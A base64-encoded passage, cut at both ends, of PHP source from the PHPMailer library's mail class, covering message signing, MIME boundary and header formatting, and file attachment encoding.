WlmICgkdGhpcy0+c2lnbl9rZXlfZmlsZSkgewogICAgICAgICAgICB0cnkgewogICAgICAgICAgICAgICAgaWYgKCFkZWZpbmVkKCdQS0NTN19URVhUJykpIHsKICAgICAgICAgICAgICAgICAgICB0aHJvdyBuZXcgRXhjZXB0aW9uKCR0aGlzLT5sYW5nKCdleHRlbnNpb25fbWlzc2luZycpIC4gJ29wZW5zc2wnKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRmaWxlID0gZm9wZW4oJ3BocDovL3RlbXAnLCAncmIrJyk7CiAgICAgICAgICAgICAgICAkc2lnbmVkID0gZm9wZW4oJ3BocDovL3RlbXAnLCAncmIrJyk7CiAgICAgICAgICAgICAgICBmd3JpdGUoJGZpbGUsICRib2R5KTsKICAgICAgICAgICAgICAgIC8vV29ya2Fyb3VuZCBmb3IgUEhQIGJ1ZyBodHRwczovL2J1Z3MucGhwLm5ldC9idWcucGhwP2lkPTY5MTk3CiAgICAgICAgICAgICAgICBpZiAoZW1wdHkoJHRoaXMtPnNpZ25fZXh0cmFjZXJ0c19maWxlKSkgewogICAgICAgICAgICAgICAgICAgICRzaWduID0gQG9wZW5zc2xfcGtjczdfc2lnbigKICAgICAgICAgICAgICAgICAgICAgICAgJGZpbGUsCiAgICAgICAgICAgICAgICAgICAgICAgICRzaWduZWQsCiAgICAgICAgICAgICAgICAgICAgICAgICdmaWxlOi8vJyAuIHJlYWxwYXRoKCR0aGlzLT5zaWduX2NlcnRfZmlsZSksCiAgICAgICAgICAgICAgICAgICAgICAgIFsnZmlsZTovLycgLiByZWFscGF0aCgkdGhpcy0+c2lnbl9rZXlfZmlsZSksICR0aGlzLT5zaWduX2tleV9wYXNzXSwKICAgICAgICAgICAgICAgICAgICAgICAgW10KICAgICAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAkc2lnbiA9IEBvcGVuc3NsX3BrY3M3X3NpZ24oCiAgICAgICAgICAgICAgICAgICAgICAgICRmaWxlLAogICAgICAgICAgICAgICAgICAgICAgICAkc2lnbmVkLAogICAgICAgICAgICAgICAgICAgICAgICAnZmlsZTovLycgLiByZWFscGF0aCgkdGhpcy0+c2lnbl9jZXJ0X2ZpbGUpLAogICAgICAgICAgICAgICAgICAgICAgICBbJ2ZpbGU6Ly8nIC4gcmVhbHBhdGgoJHRoaXMtPnNpZ25fa2V5X2ZpbGUpLCAkdGhpcy0+c2lnbl9rZXlfcGFzc10sCiAgICAgICAgICAgICAgICAgICAgICAgIFtdLAogICAgICAgICAgICAgICAgICAgICAgICBQS0NTN19ERVRBQ0hFRCwKICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnNpZ25fZXh0cmFjZXJ0c19maWxlCiAgICAgICAgICAgICAgICAgICAgKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGZjbG9zZSgkZmlsZSk7CiAgICAgICAgICAgICAgICBpZiAoJHNpZ24pIHsKICAgICAgICAgICAgICAgICAgICAkYm9keSA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRzaWduZWQpOwogICAgICAgICAgICAgICAgICAgIGZjbG9zZSgkc2lnbmVkKTsKICAgICAgICAgICAgICAgICAgICAvL1RoZSBtZXNzYWdlIHJldHVybmVkIGJ5IG9wZW5zc2wgY29udGFpbnMgYm90aCBoZWFkZXJzIGFuZCBib2R5LCBzbyBuZWVkIHRvIHNwbGl0IHRoZW0gdXAKICAgICAgICAgICAgICAgICAgICAkcGFydHMgPSBleHBsb2RlKCJcblxuIiwgJGJvZHksIDIpOwogICAgICAgICAgICAgICAgICAgICR0aGlzLT5NSU1FSGVhZGVyIC49ICRwYXJ0c1swXSAuIHN0YXRpYzo6JExFIC4gc3RhdGljOjokTEU7CiAgICAgICAgICAgICAgICAgICAgJGJvZHkgPSAkcGFydHNbMV07CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgIGZjbG9zZSgkc2lnbmVkKTsKICAgICAgICAgICAgICAgICAgICB0aHJvdyBuZXcgRXhjZXB0aW9uKCR0aGlzLT5sYW5nKCdzaWduaW5nJykgLiBvcGVuc3NsX2Vycm9yX3N0cmluZygpKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfSBjYXRjaCAoRXhjZXB0aW9uICRleGMpIHsKICAgICAgICAgICAgICAgICRib2R5ID0gJyc7CiAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPmV4Y2VwdGlvbnMpIHsKICAgICAgICAgICAgICAgICAgICB0aHJvdyAkZXhjOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHJldHVybiAkYm9keTsKICAgIH0KICAgIC8qKgogICAgICogUmV0dXJuIHRoZSBzdGFydCBvZiBhIG1lc3NhZ2UgYm91bmRhcnkuCiAgICAgKgogICAgICogQHBhcmFtIHN0cmluZyAkYm91bmRhcnkKICAgICAqIEBwYXJhbSBzdHJpbmcgJGNoYXJTZXQKICAgICAqIEBwYXJhbSBzdHJpbmcgJGNvbnRlbnRUeXBlCiAgICAgKiBAcGFyYW0gc3RyaW5nICRlbmNvZGluZwogICAgICoKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKi8KICAgIHByb3RlY3RlZCBmdW5jdGlvbiBnZXRCb3VuZGFyeSgkYm91bmRhcnksICRjaGFyU2V0LCAkY29udGVudFR5cGUsICRlbmNvZGluZykKICAgIHsKICAgICAgICAkcmVzdWx0ID0gJyc7CiAgICAgICAgaWYgKCcnID09ICRjaGFyU2V0KSB7CiAgICAgICAgICAgICRjaGFyU2V0ID0gJHRoaXMtPkNoYXJTZXQ7CiAgICAgICAgfQogICAgICAgIGlmICgnJyA9PSAkY29udGVudFR5cGUpIHsKICAgICAgICAgICAgJGNvbnRlbnRUeXBlID0gJHRoaXMtPkNvbnRlbnRUeXBlOwogICAgICAgIH0KICAgICAgICBpZiAoJycgPT0gJGVuY29kaW5nKSB7CiAgICAgICAgICAgICRlbmNvZGluZyA9ICR0aGlzLT5FbmNvZGluZzsKICAgICAgICB9CiAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+dGV4dExpbmUoJy0tJyAuICRib3VuZGFyeSk7CiAgICAgICAgJHJlc3VsdCAuPSBzcHJpbnRmKCdDb250ZW50LVR5cGU6ICVzOyBjaGFyc2V0PSVzJywgJGNvbnRlbnRUeXBlLCAkY2hhclNldCk7CiAgICAgICAgJHJlc3VsdCAuPSBzdGF0aWM6OiRMRTsKICAgICAgICAvLyBSRkMxMzQxIHBhcnQgNSBzYXlzIDdiaXQgaXMgYXNzdW1lZCBpZiBub3Qgc3BlY2lmaWVkCiAgICAgICAgaWYgKHN0YXRpYzo6RU5DT0RJTkdfN0JJVCAhPSAkZW5jb2RpbmcpIHsKICAgICAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+aGVhZGVyTGluZSgnQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZycsICRlbmNvZGluZyk7CiAgICAgICAgfQogICAgICAgICRyZXN1bHQgLj0gc3RhdGljOjokTEU7CiAgICAgICAgcmV0dXJuICRyZXN1bHQ7CiAgICB9CiAgICAvKioKICAgICAqIFJldHVybiB0aGUgZW5kIG9mIGEgbWVzc2FnZSBib3VuZGFyeS4KICAgICAqCiAgICAgKiBAcGFyYW0gc3RyaW5nICRib3VuZGFyeQogICAgICoKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKi8KICAgIHByb3RlY3RlZCBmdW5jdGlvbiBlbmRCb3VuZGFyeSgkYm91bmRhcnkpCiAgICB7CiAgICAgICAgcmV0dXJuIHN0YXRpYzo6JExFIC4gJy0tJyAuICRib3VuZGFyeSAuICctLScgLiBzdGF0aWM6OiRMRTsKICAgIH0KICAgIC8qKgogICAgICogU2V0IHRoZSBtZXNzYWdlIHR5cGUuCiAgICAgKiBQSFBNYWlsZXIgb25seSBzdXBwb3J0cyBzb21lIHByZXNldCBtZXNzYWdlIHR5cGVzLCBub3QgYXJiaXRyYXJ5IE1JTUUgc3RydWN0dXJlcy4KICAgICAqLwogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIHNldE1lc3NhZ2VUeXBlKCkKICAgIHsKICAgICAgICAkdHlwZSA9IFtdOwogICAgICAgIGlmICgkdGhpcy0+YWx0ZXJuYXRpdmVFeGlzdHMoKSkgewogICAgICAgICAgICAkdHlwZVtdID0gJ2FsdCc7CiAgICAgICAgfQogICAgICAgIGlmICgkdGhpcy0+aW5saW5lSW1hZ2VFeGlzdHMoKSkgewogICAgICAgICAgICAkdHlwZVtdID0gJ2lubGluZSc7CiAgICAgICAgfQogICAgICAgIGlmICgkdGhpcy0+YXR0YWNobWVudEV4aXN0cygpKSB7CiAgICAgICAgICAgICR0eXBlW10gPSAnYXR0YWNoJzsKICAgICAgICB9CiAgICAgICAgJHRoaXMtPm1lc3NhZ2VfdHlwZSA9IGltcGxvZGUoJ18nLCAkdHlwZSk7CiAgICAgICAgaWYgKCcnID09ICR0aGlzLT5tZXNzYWdlX3R5cGUpIHsKICAgICAgICAgICAgLy9UaGUgJ3BsYWluJyBtZXNzYWdlX3R5cGUgcmVmZXJzIHRvIHRoZSBtZXNzYWdlIGhhdmluZyBhIHNpbmdsZSBib2R5IGVsZW1lbnQsIG5vdCB0aGF0IGl0IGlzIHBsYWluLXRleHQKICAgICAgICAgICAgJHRoaXMtPm1lc3NhZ2VfdHlwZSA9ICdwbGFpbic7CiAgICAgICAgfQogICAgfQogICAgLyoqCiAgICAgKiBGb3JtYXQgYSBoZWFkZXIgbGluZS4KICAgICAqCiAgICAgKiBAcGFyYW0gc3RyaW5nICAgICAkbmFtZQogICAgICogQHBhcmFtIHN0cmluZ3xpbnQgJHZhbHVlCiAgICAgKgogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGhlYWRlckxpbmUoJG5hbWUsICR2YWx1ZSkKICAgIHsKICAgICAgICByZXR1cm4gJG5hbWUgLiAnOiAnIC4gJHZhbHVlIC4gc3RhdGljOjokTEU7CiAgICB9CiAgICAvKioKICAgICAqIFJldHVybiBhIGZvcm1hdHRlZCBtYWlsIGxpbmUuCiAgICAgKgogICAgICogQHBhcmFtIHN0cmluZyAkdmFsdWUKICAgICAqCiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gdGV4dExpbmUoJHZhbHVlKQogICAgewogICAgICAgIHJldHVybiAkdmFsdWUgLiBzdGF0aWM6OiRMRTsKICAgIH0KICAgIC8qKgogICAgICogQWRkIGFuIGF0dGFjaG1lbnQgZnJvbSBhIHBhdGggb24gdGhlIGZpbGVzeXN0ZW0uCiAgICAgKiBOZXZlciB1c2UgYSB1c2VyLXN1cHBsaWVkIHBhdGggdG8gYSBmaWxlIQogICAgICogUmV0dXJucyBmYWxzZSBpZiB0aGUgZmlsZSBjb3VsZCBub3QgYmUgZm91bmQgb3IgcmVhZC4KICAgICAqIEV4cGxpY2l0bHkgKmRvZXMgbm90KiBzdXBwb3J0IHBhc3NpbmcgVVJMczsgUEhQTWFpbGVyIGlzIG5vdCBhbiBIVFRQIGNsaWVudC4KICAgICAqIElmIHlvdSBuZWVkIHRvIGRvIHRoYXQsIGZldGNoIHRoZSByZXNvdXJjZSB5b3Vyc2VsZiBhbmQgcGFzcyBpdCBpbiB2aWEgYSBsb2NhbCBmaWxlIG9yIHN0cmluZy4KICAgICAqCiAgICAgKiBAcGFyYW0gc3RyaW5nICRwYXRoICAgICAgICBQYXRoIHRvIHRoZSBhdHRhY2htZW50CiAgICAgKiBAcGFyYW0gc3RyaW5nICRuYW1lICAgICAgICBPdmVycmlkZXMgdGhlIGF0dGFjaG1lbnQgbmFtZQogICAgICogQHBhcmFtIHN0cmluZyAkZW5jb2RpbmcgICAgRmlsZSBlbmNvZGluZyAoc2VlICRFbmNvZGluZykKICAgICAqIEBwYXJhbSBzdHJpbmcgJHR5cGUgICAgICAgIEZpbGUgZXh0ZW5zaW9uIChNSU1FKSB0eXBlCiAgICAgKiBAcGFyYW0gc3RyaW5nICRkaXNwb3NpdGlvbiBEaXNwb3NpdGlvbiB0byB1c2UKICAgICAqCiAgICAgKiBAdGhyb3dzIEV4Y2VwdGlvbgogICAgICoKICAgICAqIEByZXR1cm4gYm9vbAogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gYWRkQXR0YWNobWVudCgkcGF0aCwgJG5hbWUgPSAnJywgJGVuY29kaW5nID0gc2VsZjo6RU5DT0RJTkdfQkFTRTY0LCAkdHlwZSA9ICcnLCAkZGlzcG9zaXRpb24gPSAnYXR0YWNobWVudCcpCiAgICB7CiAgICAgICAgdHJ5IHsKICAgICAgICAgICAgaWYgKCFzdGF0aWM6OmlzUGVybWl0dGVkUGF0aCgkcGF0aCkgfHwgIUBpc19maWxlKCRwYXRoKSkgewogICAgICAgICAgICAgICAgdGhyb3cgbmV3IEV4Y2VwdGlvbigkdGhpcy0+bGFuZygnZmlsZV9hY2Nlc3MnKSAuICRwYXRoLCBzZWxmOjpTVE9QX0NPTlRJTlVFKTsKICAgICAgICAgICAgfQogICAgICAgICAgICAvLyBJZiBhIE1JTUUgdHlwZSBpcyBub3Qgc3BlY2lmaWVkLCB0cnkgdG8gd29yayBpdCBvdXQgZnJvbSB0aGUgZmlsZSBuYW1lCiAgICAgICAgICAgIGlmICgnJyA9PSAkdHlwZSkgewogICAgICAgICAgICAgICAgJHR5cGUgPSBzdGF0aWM6OmZpbGVuYW1lVG9UeXBlKCRwYXRoKTsKICAgICAgICAgICAgfQogICAgICAgICAgICAkZmlsZW5hbWUgPSBiYXNlbmFtZSgkcGF0aCk7CiAgICAgICAgICAgIGlmICgnJyA9PSAkbmFtZSkgewogICAgICAgICAgICAgICAgJG5hbWUgPSAkZmlsZW5hbWU7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJHRoaXMtPmF0dGFjaG1lbnRbXSA9IFsKICAgICAgICAgICAgICAgIDAgPT4gJHBhdGgsCiAgICAgICAgICAgICAgICAxID0+ICRmaWxlbmFtZSwKICAgICAgICAgICAgICAgIDIgPT4gJG5hbWUsCiAgICAgICAgICAgICAgICAzID0+ICRlbmNvZGluZywKICAgICAgICAgICAgICAgIDQgPT4gJHR5cGUsCiAgICAgICAgICAgICAgICA1ID0+IGZhbHNlLCAvLyBpc1N0cmluZ0F0dGFjaG1lbnQKICAgICAgICAgICAgICAgIDYgPT4gJGRpc3Bvc2l0aW9uLAogICAgICAgICAgICAgICAgNyA9PiAkbmFtZSwKICAgICAgICAgICAgXTsKICAgICAgICB9IGNhdGNoIChFeGNlcHRpb24gJGV4YykgewogICAgICAgICAgICAkdGhpcy0+c2V0RXJyb3IoJGV4Yy0+Z2V0TWVzc2FnZSgpKTsKICAgICAgICAgICAgJHRoaXMtPmVkZWJ1ZygkZXhjLT5nZXRNZXNzYWdlKCkpOwogICAgICAgICAgICBpZiAoJHRoaXMtPmV4Y2VwdGlvbnMpIHsKICAgICAgICAgICAgICAgIHRocm93ICRleGM7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KICAgIC8qKgogICAgICogUmV0dXJuIHRoZSBhcnJheSBvZiBhdHRhY2htZW50cy4KICAgICAqCiAgICAgKiBAcmV0dXJuIGFycmF5CiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRBdHRhY2htZW50cygpCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT5hdHRhY2htZW50OwogICAgfQogICAgLyoqCiAgICAgKiBBdHRhY2ggYWxsIGZpbGUsIHN0cmluZywgYW5kIGJpbmFyeSBhdHRhY2htZW50cyB0byB0aGUgbWVzc2FnZS4KICAgICAqIFJldHVybnMgYW4gZW1wdHkgc3RyaW5nIG9uIGZhaWx1cmUuCiAgICAgKgogICAgICogQHBhcmFtIHN0cmluZyAkZGlzcG9zaXRpb25fdHlwZQogICAgICogQHBhcmFtIHN0cmluZyAkYm91bmRhcnkKICAgICAqCiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICovCiAgICBwcm90ZWN0ZWQgZnVuY3Rpb24gYXR0YWNoQWxsKCRkaXNwb3NpdGlvbl90eXBlLCAkYm91bmRhcnkpCiAgICB7CiAgICAgICAgLy8gUmV0dXJuIHRleHQgb2YgYm9keQogICAgICAgICRtaW1lID0gW107CiAgICAgICAgJGNpZFVuaXEgPSBbXTsKICAgICAgICAkaW5jbCA9IFtdOwogICAgICAgIC8vIEFkZCBhbGwgYXR0YWNobWVudHMKICAgICAgICBmb3JlYWNoICgkdGhpcy0+YXR0YWNobWVudCBhcyAkYXR0YWNobWVudCkgewogICAgICAgICAgICAvLyBDaGVjayBpZiBpdCBpcyBhIHZhbGlkIGRpc3Bvc2l0aW9uX2ZpbHRlcgogICAgICAgICAgICBpZiAoJGF0dGFjaG1lbnRbNl0gPT0gJGRpc3Bvc2l0aW9uX3R5cGUpIHsKICAgICAgICAgICAgICAgIC8vIENoZWNrIGZvciBzdHJpbmcgYXR0YWNobWVudAogICAgICAgICAgICAgICAgJHN0cmluZyA9ICcnOwogICAgICAgICAgICAgICAgJHBhdGggPSAnJzsKICAgICAgICAgICAgICAgICRiU3RyaW5nID0gJGF0dGFjaG1lbnRbNV07CiAgICAgICAgICAgICAgICBpZiAoJGJTdHJpbmcpIHsKICAgICAgICAgICAgICAgICAgICAkc3RyaW5nID0gJGF0dGFjaG1lbnRbMF07CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICRwYXRoID0gJGF0dGFjaG1lbnRbMF07CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkaW5jbGhhc2ggPSBoYXNoKCdzaGEyNTYnLCBzZXJpYWxpemUoJGF0dGFjaG1lbnQpKTsKICAgICAgICAgICAgICAgIGlmIChpbl9hcnJheSgkaW5jbGhhc2gsICRpbmNsKSkgewogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJGluY2xbXSA9ICRpbmNsaGFzaDsKICAgICAgICAgICAgICAgICRuYW1lID0gJGF0dGFjaG1lbnRbMl07CiAgICAgICAgICAgICAgICAkZW5jb2RpbmcgPSAkYXR0YWNobWVudFszXTsKICAgICAgICAgICAgICAgICR0eXBlID0gJGF0dGFjaG1lbnRbNF07CiAgICAgICAgICAgICAgICAkZGlzcG9zaXRpb24gPSAkYXR0YWNobWVudFs2XTsKICAgICAgICAgICAgICAgICRjaWQgPSAkYXR0YWNobWVudFs3XTsKICAgICAgICAgICAgICAgIGlmICgnaW5saW5lJyA9PSAkZGlzcG9zaXRpb24gYW5kIGFycmF5X2tleV9leGlzdHMoJGNpZCwgJGNpZFVuaXEpKSB7CiAgICAgICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkY2lkVW5pcVskY2lkXSA9IHRydWU7CiAgICAgICAgICAgICAgICAkbWltZVtdID0gc3ByaW50ZignLS0lcyVzJywgJGJvdW5kYXJ5LCBzdGF0aWM6OiRMRSk7CiAgICAgICAgICAgICAgICAvL09ubHkgaW5jbHVkZSBhIGZpbGVuYW1lIHByb3BlcnR5IGlmIHdlIGhhdmUgb25lCiAgICAgICAgICAgICAgICBpZiAoIWVtcHR5KCRuYW1lKSkgewogICAgICAgICAgICAgICAgICAgICRtaW1lW10gPSBzcHJpbnRmKAogICAgICAgICAgICAgICAgICAgICAgICAnQ29udGVudC1UeXBlOiAlczsgbmFtZT0iJXMiJXMnLAogICAgICAgICAgICAgICAgICAgICAgICAkdHlwZSwKICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPmVuY29kZUhlYWRlcigkdGhpcy0+c2VjdXJlSGVhZGVyKCRuYW1lKSksCiAgICAgICAgICAgICAgICAgICAgICAgIHN0YXRpYzo6JExFCiAgICAgICAgICAgICAgICAgICAgKTsKICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgJG1pbWVbXSA9IHNwcmludGYoCiAgICAgICAgICAgICAgICAgICAgICAgICdDb250ZW50LVR5cGU6ICVzJXMnLAogICAgICAgICAgICAgICAgICAgICAgICAkdHlwZSwKICAgICAgICAgICAgICAgICAgICAgICAgc3RhdGljOjokTEUKICAgICAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgLy8gUkZDMTM0MSBwYXJ0IDUgc2F5cyA3Yml0IGlzIGFzc3VtZWQgaWYgbm90IHNwZWNpZmllZAogICAgICAgICAgICAgICAgaWYgKHN0YXRpYzo6RU5DT0RJTkdfN0JJVCAhPSAkZW5jb2RpbmcpIHsKICAgICAgICAgICAgICAgICAgICAkbWltZVtdID0gc3ByaW50ZignQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZzogJXMlcycsICRlbmNvZGluZywgc3RhdGljOjokTEUpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkY2lkKSkgewogICAgICAgICAgICAgICAgICAgICRtaW1lW10gPSBzcHJpbnRmKCdDb250ZW50LUlEOiA8JXM+JXMnLCAkY2lkLCBzdGF0aWM6OiRMRSk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAvLyBJZiBhIGZpbGVuYW1lIGNvbnRhaW5zIGFueSBvZiB0aGVzZSBjaGFycywgaXQgc2hvdWxkIGJlIHF1b3RlZCwKICAgICAgICAgICAgICAgIC8vIGJ1dCBub3Qgb3RoZXJ3aXNlOiBSRkMyMTgzICYgUkZDMjA0NSA1LjEKICAgICAgICAgICAgICAgIC8vIEZpeGVzIGEgd2FybmluZyBpbiBJRVRGJ3MgbXNnbGludCBNSU1FIGNoZWNrZXIKICAgICAgICAgICAgICAgIC8vIEFsbG93IGZvciBieXBhc3NpbmcgdGhlIENvbnRlbnQtRGlzcG9zaXRpb24gaGVhZGVyIHRvdGFsbHkKICAgICAgICAgICAgICAgIGlmICghKGVtcHR5KCRkaXNwb3NpdGlvbikpKSB7CiAgICAgICAgICAgICAgICAgICAgJGVuY29kZWRfbmFtZSA9ICR0aGlzLT5lbmNvZGVIZWFkZXIoJHRoaXMtPnNlY3VyZUhlYWRlcigkbmFtZSkpOwogICAgICAgICAgICAgICAgICAgIGlmIChwcmVnX21hdGNoKCcvWyBcKFwpPD5ALDs6XFwiXC9cW1xdXD89XS8nLCAkZW5jb2RlZF9uYW1lKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkbWltZVtdID0gc3ByaW50ZigKICAgICAgICAgICAgICAgICAgICAgICAgICAgICdDb250ZW50LURpc3Bvc2l0aW9uOiAlczsgZmlsZW5hbWU9IiVzIiVzJywKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkaXNwb3NpdGlvbiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRlbmNvZGVkX25hbWUsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBzdGF0aWM6OiRMRSAuIHN0YXRpYzo6JExFCiAgICAgICAgICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkZW5jb2RlZF9uYW1lKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJG1pbWVbXSA9IHNwcmludGYoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ0NvbnRlbnQtRGlzcG9zaXRpb246ICVzOyBmaWxlbmFtZT0lcyVzJywKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZGlzcG9zaXRpb24sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGVuY29kZWRfbmFtZSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzdGF0aWM6OiRMRSAuIHN0YXRpYzo6JExFCiAgICAgICAgICAgICAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJG1pbWVbXSA9IHNwcmludGYoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ0NvbnRlbnQtRGlzcG9zaXRpb246ICVzJXMnLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkaXNwb3NpdGlvbiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzdGF0aWM6OiRMRSAuIHN0YXRpYzo6JExFCiAgICAgICAgICAgICAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAkbWltZVtdID0gc3RhdGljOjokTEU7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAvLyBFbmNvZGUgYXMgc3RyaW5nIGF0dGFjaG1lbnQKICAgICAgICAgICAgICAgIGlmICgkYlN0cmluZykgewogICAgICAgICAgICAgICAgICAgICRtaW1lW10gPSAkdGhpcy0+ZW5jb2RlU3RyaW5nKCRzdHJpbmcsICRlbmNvZGluZyk7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICRtaW1lW10gPSAkdGhpcy0+ZW5jb2RlRmlsZSgkcGF0aCwgJGVuY29kaW5nKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmICgkdGhpcy0+aXNFcnJvcigpKSB7CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICcnOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJG1pbWVbXSA9IHN0YXRpYzo6JExFOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgICRtaW1lW10gPSBzcHJpbnRmKCctLSVzLS0lcycsICRib3VuZGFyeSwgc3RhdGljOjokTEUpOwogICAgICAgIHJldHVybiBpbXBsb2RlKCcnLCAkbWltZSk7CiAgICB9CiAgICAvKioKICAgICAqIEVuY29kZSBhIGZpbGUgYXR0YWNobWVudCBpbiByZXF1ZXN0ZWQgZm9ybWF0LgogICAgICogUmV0dXJucyBhbiBlbXB0eSBzdHJpbmcgb24gZmFpbHVyZS4KICAgICAqCiAgICAgKiBAcGFyYW0gc3RyaW5nICRwYXRoICAgICBUaGUgZnVsbCBwYXRoIHRvIHRoZSBmaWxlCiAgICAgKiBAcGFyYW0gc3RyaW5nICRlbmNvZGluZyBUaGUgZW5jb2RpbmcgdG8gdXNlOyBvbmUgb2YgJ2Jhc2U2NCcsICc3Yml0JywgJzhiaXQnLCAnYmluYXJ5JywgJ3F1b3RlZC1wcmludGFibGUnCiAgICAgKgogICAgICogQHRocm93cyBFeGNlcHRpb24KICAgICAqCiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICovCiAgICBwcm90ZWN0ZWQgZnVuY3Rpb24gZW5jb2RlRmlsZSgkcGF0aCwgJGVuY29kaW5nID0gc2VsZjo6RU5DT0RJTkdfQkFTRTY0KQogICAgewogICAgICAgIHRyeSB7CiAgICAgICAgICAgIGlmICghc3RhdGljOjppc1Blcm1pdHRlZFBhdGgoJHBhdGgpIHx8ICFmaWxlX2V4aXN0cygkcGF0aCkpIHsKICAgICAgICAgICAgICAgIHRocm93IG5ldyBFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ2ZpbGVfb3BlbicpIC4gJHBhdGgsIHNlbGY6OlNUT1BfQ09OVElOVUUpOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRmaWxlX2J1ZmZlciA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRwYXRoKTsKICAgICAgICAgICAgaWYgKGZhbHNlID09PSAkZmlsZV9idWZmZXIpIHsKICAgICAgICAgICAgICAgIHRocm93IG5ldyBFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ2ZpbGVfb3BlbicpIC4gJHBhdGgsIHNlbGY6OlNUT1BfQ09OVElOVUUpOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRmaWxlX2J1ZmZlciA9ICR0aGlzLT5lbmNvZGVTdHJpbmcoJGZpbGVfYnVmZmVyLCAkZW5jb2RpbmcpOwogICAgICAgICAgICByZXR1cm4gJGZpbGVfYnVmZmVyOwogICAgICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiAkZXhjKSB7CiAgICAgICAgICAgICR0aGlzLT5zZXRFcnJvcigkZXhjLT5nZXRNZXNzYWdlKCkpOwogICAgICAgICAgICByZXR1cm4gJyc7CiAgICAgICAgfQogICAgfQogICAgLyoqCiAgICAgKiBFbmNvZGUgYSBzdHJpbmcgaW4gcmVxdWVzdGVkIGZvcm1hdC4KICAgICAqIFJldHVybnMgYW4gZW1wdHkgc3RyaW5nIG9uIGZhaWx1cmUuCiAgICAgKgogICAgICogQHBhcmFtIHN0cmluZyAkc3RyICAgICAgVGhlIHRleHQgdG8gZW5jb2RlCiAgICAgKiBAcGFyYW0gc3RyaW5nICRlbmNvZGluZyBUaGUgZW5jb2RpbmcgdG8gdXNlOyBvbmUgb2YgJ2Jhc2U2NCcsICc3Yml0JywgJzhiaXQnLCAnYmluYXJ5JywgJ3F1b3RlZC1wcmludGFibGUnCiAgICAgKgogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGVuY29kZVN0cmluZygkc3RyLCAkZW5jb2RpbmcgPSBzZWxmOjpFTkNPRElOR19CQVN